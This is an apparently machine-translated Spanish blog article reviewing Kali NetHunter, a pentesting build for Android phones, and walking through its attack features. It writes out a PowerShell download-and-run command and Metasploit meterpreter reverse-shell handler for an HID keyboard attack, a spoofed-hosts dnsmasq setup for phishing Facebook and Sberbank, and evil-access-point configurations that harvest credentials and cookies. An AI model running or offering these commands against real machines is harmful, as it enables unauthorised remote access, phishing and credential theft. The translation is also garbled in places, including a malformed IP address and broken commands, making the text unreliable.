¿Cómo puedo atacar una red con mi smartphone: Conozca a Kali NetHunter
Last Updated on agosto 20, 2021 by Daniel Cepeda
Las construcciones ARM de BackTrack 5 y Kali Linux podían ser ejecutadas en un entorno Android desde el momento en que aparecieron. Algunas herramientas no funcionaban en ellas, otras eran demasiado lentas, pero en general la distribución se movía, y era posible llevar en el bolsillo unos cientos de herramientas de pentest, y si era necesario, acceder al escritorio con la empresa VNC.
Sin embargo, BinkyBear de la comunidad de Kali decidió que esto no era suficiente, y nació Kali NetHunter, una versión de la distribución optimizada para teléfonos inteligentes Android.
Tabla de Contenidos
El mismo Kali Linux
NetHunter es esencialmente un Linux Kali apenas modificado, instalado “encima” de Android y ejecutándose dentro de un entorno chroot. Incluye el mismo conjunto de herramientas de pentesting que conocemos muy bien, así como el entorno gráfico XFCE, al que se puede acceder desde el propio smartphone, o desde un ordenador portátil/comp/tableta utilizando cualquier cliente de VNC.
La diferencia entre NetHunter y “sólo instalar Kali Linux en chroot” está en varios matices.
En primer lugar, hay una aplicación gráfica para gestionar algunas características de la distribución, como la ejecución de servicios o la habilitación de un punto de acceso MANA.
En segundo lugar, incluye un pequeño conjunto de software para Android que será útil a la hora de realizar ataques o trabajar con la distribución: Hacker’s Keyboard, Android VNC, DriveDroid y otros.
Si el segundo sistema se instala a través de MultiROM, el instalador de NetHunter no podrá descargar el kernel personalizado y, como resultado, la inyección de tramas, BadUSB y las funciones de emulación de teclado no estarán disponibles. A pesar de que hay un controlador para el Nexus 7 muestra 2012 que puede poner el adaptador de red interna en modo de monitoreo, no está soportado por Kali NetHunter.
En tercer lugar, para cada dispositivo compatible, NetHunter tiene su propio núcleo personalizado ensamblado con soporte para la carga de teclado USB o emulación de adaptador de red y mecanismos de inyección de tramas en el flujo de red (inyección de tramas 802.11 inalámbrica).
Estas características se utilizan para realizar ataques como BadUSB, Teensy, y para inyectar varias puertas traseras en los archivos de red que se transmiten (utilizando el punto de acceso MANA y la herramienta Backdoor Factory).
Por lo demás, todo es bastante estándar y cualquiera que esté familiarizado con Kali (no hablo de usuarios de shell) encontrará un entorno y un conjunto de herramientas familiares aquí: Aircrack, Maltego, Metasploit, SAINT, Kismet, Bluebugger, BTCrack, Btscanner, Nmap, p0f y muchos, muchos otros.
Nos ponemos y nos vamos
En el momento de escribir este artículo, la última versión pública de NetHunter era la 2020.2, y sólo existían apoyos oficiales para seis (u ocho, como puedes ver) modelos de dispositivos:
- Nexus 4 (GSM);
- Nexus 5 (GSM/LTE);
- Nexus 7 (Wi-Fi);
- Nexus 7 (Móvil);
- Nexus 7 (Wi-Fi);
- Nexus 7 (Móvil);
- Nexo 10;
- OnePlus One 16 GB;
- OnePlus One 64 GB.
El segundo requisito es Android 5.1.1; sin añadir “por lo menos” y con la raíz resultante, una consola de recuperación personalizada (TWRP o CWM, lo que sea) y al menos 4,5 GB de espacio libre. Y para obtener la posibilidad de olfatear el tráfico y la inyección de marcos, también se necesita una red Wi-Fi-network de lápiz USB externo, y no algunos, sino el modelo que se apoya en el núcleo (ver cuadro), así como un cable OTG para la conexión.
Adaptadores de red compatibles con NetHunter
- TP-Link TL-WN321G
- TP-Link TL-WN722N
- TP-Link TL-WN821N
- TP-Link TL-WN822N
- Alfa AWUS036H
- Alfa AWUS036NH
- Ubiquiti Networks SR71-USB
- SMC SMCWUSB-N2
- Netgear WNA1000
Cuando se cumplan todos estos requisitos, estarás listo. Ahora ve a la página de descarga, busca tu dispositivo y descarga el archivo ZIP (también hay un instalador de Windows, pero no lo describiré por razones religiosas).
Ahora suelta el archivo ZIP en la tarjeta de memoria, reinicia tu smartphone en el modo de recuperación y pásalo directamente sobre el firmware actual sin ningún cable (ya te hemos dicho cómo hacerlo muchas veces).
El proceso llevará mucho tiempo ya que el entorno chroot de 2,4 Gbytes de Kali Linux está empaquetado con un procesador muy voraz y una memoria de archivo bzip2.
Puedes reiniciar después de que la operación se haya completado.
¿Qué hay dentro?
Así que, Android ha sido descargado de nuevo, y ahora lo tenemos:
- NetHunter Home es una aplicación robusta para ejecutar las características más esenciales de Kali NetHunter.
- La distribución de Kali Linux está en /data/local/kali-armhf/ (todas las operaciones se ejecutan en ella).
- BusyBox y el editor de la consola Nano.
- Android VNC es un simple cliente VNC para acceder al escritorio de Kali Linux.
- BlueNMEA – aplicación para enviar las coordenadas actuales a otro dispositivo a través de Bluetooth o TCP (necesario para Kismet).
- DriveDroid – una aplicación que le permite usar su smartphone como un Live USB.
- Hacker’s Keyboard – conocido teclado Android de tamaño completo.
- Analizador de RF – aplicación para trabajar con HackRF/RTL-SDR.
- Teclado USB – emulador
- Un conjunto de archivos de configuración y fondos de pantalla de tarjetas de memoria (en los directorios de archivos y kali-nh).
El lugar central aquí está ocupado, por supuesto, por el Hogar NetHunter y la propia distribución, y el primero es sólo un paquete para ejecutar algunas acciones dentro de la distribución a través del guión /sistema/bin/bootkali.
NetHunter Home lo lanza con uno u otro argumento (por ejemplo, iniciar apache), y este último, a su vez, hace un chroot en /data/local/kali-armhf/ y ejecuta una serie de comandos dependiendo del argumento pasado.
¿Qué hace exactamente el guión bootkali?
- Desactiva SELinux (más precisamente, lo cambia a modo permisivo).
- Comprueba la raíz ejecutando el comando id.
- Inicializa las variables de entorno necesarias (PATH, TERM, HOME y otras).
- Escribe en /data/local/kali-armhf/etc/resolv.conf las direcciones de los servidores DNS tomadas de las variables del sistema Android (net.dns1, net.dns2 y así sucesivamente).
- Se monta en /data/local/kali-armhf/ los sistemas de archivos necesarios para Linux (dev, proc, sysfs, devpts).
- Incluye reenvío de paquetes para el punto de acceso y BadUSB (sysctl -w net.ipv4.ip_forward=1).
- Si el guión se ejecuta sin argumentos, se ejecuta chroot en /data/local/kali-armhf/ y se ejecuta bash.
- Si se especifica un argumento, se ejecuta chroot y se ejecuta el servicio correspondiente (Apache, por ejemplo), el proceso de actualización (argumento de actualización), o el menú de consola de la marca NetHunter (kalimenu).
Hogar NetHunter
Así que, el Hogar NetHunter es el panel de control principal de Kali NetHunter. Está dividido en ocho pestañas independientes.
La primera es simplemente una pantalla de bienvenida, que muestra la información del NetHunter, así como las IPs de las interfaces de la red y el router IP externo si el dispositivo está conectado a Wi-Fi.
La segunda pestaña aquí se llama Lanzador Kali que permite abrir la consola Kali en chroot (sólo hay que ejecutar el comando bootkali), ejecutar el menú de texto (bootkali kalimenu) del que hablaremos más adelante, actualizar Kali chroot (bootkali update) o ejecutar la herramienta wifite para hackear redes Wi-Fi (WEP, WPS, WPA handshake); requiere un adaptador Wi-Fi externo.
En la tercera pestaña el panel de control de los servicios de red: SSH, Dnsmasq, Hostapd (punto de acceso), OpenVPN, Apache, servidor Metasploit e interfaz web BeEF Framework.
Ataque de teclado HID
La cuarta pestaña le permite lanzar un ataque de teclado HID. Su esencia es muy simple: un smartphone/tablet conectado al combo a través de un cable OTG pretende ser un teclado USB y “pulsa” los botones que queramos.
Por defecto, NetHunter nos ofrece dos formas de usarlo.
- La primera es que nuestro teclado virtual abre abruptamente una línea de comandos y martillea los comandos que especificamos. Para ello, ve a la segunda pantalla (Windows CMD), escribe cualquier comando en el campo de entrada y pulsa el botón Actualizar. Conecta el dispositivo al combo, abre el menú y presiona Ejecutar Ataque. Mira lo que pasa en el viento.
- La segunda forma es más sofisticada y difícil de establecer. Se llama PowerSploit Attack y te permite acceder rápidamente a la línea de comandos de Windows desde tu teléfono (toda la operación lleva varios segundos).
Funciona así: el smartphone se conecta al combo, abre la línea de comandos y ejecuta PowerShell con el siguiente comando (durante el ataque mismo será codificado en Base64):
iex New-Object Net.WebClient).DownloadString("http://192.168.1.1/payload")
Este comando lanza un script que puede ser encontrado en http://192.168.1.1/payload. IP es nuestro smartphone ejecutando Apache y payload es un exploit de PowerShell cuyo trabajo es descargar desde el servidor Metasploit (también ejecutándose en nuestro smartphone) nuestro código de shell implementando el shell HTTPS inverso e incrustarlo en el proceso actual de PowerShell:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 4444 -Force
Como resultado, podremos acceder a la línea de comandos de Windows a través de HTTPS.
No será posible implementar tal ataque con un solo golpe en los botones de la interfaz, por lo que tendremos que lidiar con la línea de comando Kali.
Primero, ve a la pestaña de Ataque de Teclado HID, en el campo Dirección IP ingresa tu iPad (recuerda, está en la página principal de NetHunter Home), en el campo Puerto deja 4444, Carga útil deja como está, en la URL de la carga útil cambia la IP a la tuya. Haga clic en Actualizar.
Ahora ve al Control de Servicio de Kali y habilita el Apache. Entonces necesitamos ejecutar el servidor Metasploit. Vayamos al Lanzador de Kali y ejecutemos Shell. Allí abrimos la consola Metasploit:
# msfconsole -q
Y estamos estableciendo un controlador para devolver nuestro código de shell:
uso exploit/multi-manipulador set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.1.1 set LPORT 4444 exploit
Naturalmente, en lugar de 192.168.1.1 usamos un teléfono inteligente IP. Esto completa la configuración y estamos listos para el ataque.
Minimizamos (¡no cerramos!) la ventana de la terminal con Kali, volvemos a la casa de NetHunter, conectamos el cable OTG del smartphone al combo, esperamos un par de segundos y hacemos clic en Ejecutar ataque en la pestaña Ataque al teclado HID.
Volvemos a la terminal de Kali y observamos.
Si todo ha ido bien, la línea [*] de la sesión 1 de Meterpreter abierta caerá en la terminal. Después de eso puedes desconectarte de la compañía y obtener acceso a la red a su línea de comando usando el comando shell. Eso es todo.
Ataque del MITM de BadUSB
Esta es la quinta ficha de Kali NetHunter. Aquí está la interfaz para permitir la implementación local del notorio ataque a BadUSB.
El principio de este ataque es bastante simple y se reduce al hecho de que después de conectarse al dispositivo USB combinado (en este caso, el smartphone) reconfigurará su propio controlador USB para pretender ser otro dispositivo y realizar funciones que no son propias.
En el tipo de ataque descrito anteriormente el smartphone pretendía ser un teclado, en la implementación del ataque BadUSB, demostrado en Black Hat, se convierte en una tarjeta de red externa.
La función similar de NetHunter funciona de la misma manera. Sólo tiene que conectar su teléfono inteligente al combo, lanzar NetHunter Home, luego encender BadUSB, y el combo comienza automáticamente a usar su dispositivo para acceder a Internet, ya sea que esté ejecutando Windows o Linux (pero sólo si la distribución usa uno de los configuradores automáticos de tarjetas de red, como NetworkManager).
La idea clave de este ataque es que el tráfico puede ser escaneado usando Wireshark o tcpdump estándar lanzándolo desde la consola de Kali y especificando rndis0 como la interfaz de red:
# tcpdump -i rndis0
O incluso realizar un ataque de phishing creando un archivo de hosts con las direcciones IP de los servidores falsificados en la tarjeta de memoria:
123.123.123.123.123 facebook.com 234.234.234.234 sberbank.ru
Y reinicie dnsmasq desde la consola de Kali deslizando nuestro archivo de hosts:
# killall dnsmasq # dnsmasq -H /sdcard/hosts -i rndis0 -R -S 8.8.8.8 \ -F 192.168.100.100,192.168.100.200 -x /var/run/dnsmasq.pid
Punto de acceso al mal de MANA
La sexta pestaña, y aquí tenemos la interfaz para ejecutar el punto de acceso del software MANA desarrollado por SensePost.
Se trata de un hostapd modificado y un conjunto de scripts que permiten interceptar (y por fuerza bruta) hashes de contraseñas desde el punto de acceso con autenticación IEEE 802.1X (servidor RADIUS, corporativo), realizando HTTPS Stripping (suplantación automática de HTTPS) y SSL Split (suplantación y registro de conexiones SSL/TLS).
A pesar de la abundancia de pantallas con archivos de configuración en la pestaña, toda la granja trabaja fuera de la caja y se registra en /var/lib/mana-toolkit/ dentro de Kali chroot. Y desde allí puedes copiarlos a una tarjeta SD:
# cp -R /var/lib/mana-toolkit/ /sdcard/
Hay cinco configuraciones estándar de MANA disponibles en NetHunter, que se pueden seleccionar cuando se lanza el punto de acceso:
- mana-nat-full – NAT al mundo exterior (a través de la red celular), más secuestro de cookies, más HTTPS Stripping y SSL Split;
- mana-nat-simple – simplemente NAT, puedes oler el tráfico;
- mana-nat-simple-bdf – NAT plus redirige el tráfico HTTP al puerto 8080, donde se puede ejecutar BDFProxy para inyectar código (backdoor) en los archivos que se transfieren (esto está fuera del alcance de este artículo);
- mana-noupstream – un punto de acceso sin acceso a Internet con redireccionamiento de tráfico a Metasploit con servicios pre-configurados ficticios SMB, SMTP, HTTP y otros (intercepción de logins y contraseñas);
- mana-noupstream-eap – lo mismo, pero con hashes EAP interceptando y brutalizando.
En cualquiera de estas configuraciones, el punto de acceso puede ser usado para un ataque tipo KARMA (campo “Enable Karma” en la primera pantalla del Punto de Acceso del Mal de MANA).
En este caso, cambiará su SSID por el que el propio cliente está tratando de encontrar (el cliente ejecuta una solicitud de prueba que contiene los nombres de las “redes guardadas/confiables”, la intercepta por MANA y cambia rápidamente su nombre, individualmente para cada cliente). Si esta característica está desactivada, el punto de acceso tendrá el nombre especificado en el campo SSID.
Consola, menú de texto y VNC
Como dije, no tienes que usar una aplicación gráfica de Android para trabajar con NetHunter. Tenemos un script bootkali, así como un conjunto de scripts en /system/xbin/ con los que puedes ejecutar servicios y ataques. Por ejemplo, puedes lanzar el mismo punto de acceso MANA abriendo el terminal Android y ejecutando el script de inicio-mana-full:
$ su # start-mana-full
Tambié disponibles start-apache, start-badusb, start-ssh y otros, todos ellos pueden ser vistos ejecutando este comando en la terminal:
$ ls /sistema/xbin/start-*
La mayoría de los guiones también tienen un acompañante stop-*, como un guión stop-apache. También podemos ejecutar chroot en el entorno de Kali para ejecutar ataques y herramientas exóticas. Para ello, sólo tiene que escribir bootkali en la terminal y luego ejecutar cualquier herramienta necesaria, como el kismet:
$ bootkali # kismet
Para no molestarse en buscar las herramientas necesarias y no recordar los comandos y argumentos correctos para ejecutarlos, puedes usar el comando kalimenu dentro de Kali chroot.
Mostrará un menú dividido, a través del cual puedes ejecutar la herramienta adecuada, hacer algunos ajustes y ejecutar un servidor VNC para acceder a la interfaz gráfica de Kali con la empresa o a través de Android VNC.
Sólo hay once artículos con los que se puede ejecutar el conocido airdump-ng, wifite (sección Ataque inalámbrico), tcpdump, tshark (Sniffing/Spoofing), AutoSSH, pTunnel (Revierte las conchas), Metasploit, Beef-XSS (Herramientas de explotación) y muchos otros.
Me gustaría destacar el menú de Ataques USB, que contiene la divertida herramienta de deADBolt.
Es una especie de cracker de dispositivos Android que permite conectar otro smartphone con un cable OTG y desbloquearlo, arrastrar y soltar datos de aplicaciones, configuraciones de cuentas, fotos o todo el contenido de la tarjeta SD.
El único inconveniente de la herramienta es que utiliza el protocolo ADB para funcionar, lo que significa que en el smartphone de la víctima del ataque debe activarse el modo de desarrollo, se habilita la “Depuración vía USB”, el consentimiento de depuración se da desde nuestro smartphone (aparece al conectarse y sólo después de desbloquear la pantalla).
Para poder realizar todas las operaciones excepto la obtención del contenido de la tarjeta de memoria y la foto, el smartphone de la víctima debe tener root.
En general, un juguete y nada más.
Cómo habilitar el acceso al VNC
Y por último, pero no menos importante, cómo habilitar el acceso al VNC. Ejecute kalimenu, marque 13 (este es el punto Servicios), luego 3 (Inicie el Servidor VNC), el script le pedirá que marque dos veces la contraseña para acceder y elija dónde colgarla – sólo en el localhost (para acceder desde el dispositivo) o en la interfaz externa (para acceder desde la empresa u otros dispositivos).
Luego tomamos cualquier cliente VNC y nos conectamos a un smartphone (IP, como dije antes, está en la primera pestaña de NetHunter Home). El entorno de escritorio XFCE aparecerá en la pantalla.
Conclusiones
NetHunter es un proyecto interesante, pero aún muy poco desarrollado.
La aplicación gráfica de Android permite ejecutar un conjunto limitado de herramientas, algunas de las cuales deben combinarse con los comandos de la consola.
La documentación es escasa y superficial, el apoyo a los dispositivos es mínimo. Sin embargo, el proyecto es más que prometedor y, a juzgar por los anuncios de los desarrolladores, esto es sólo el comienzo de un largo camino.
Anteriormente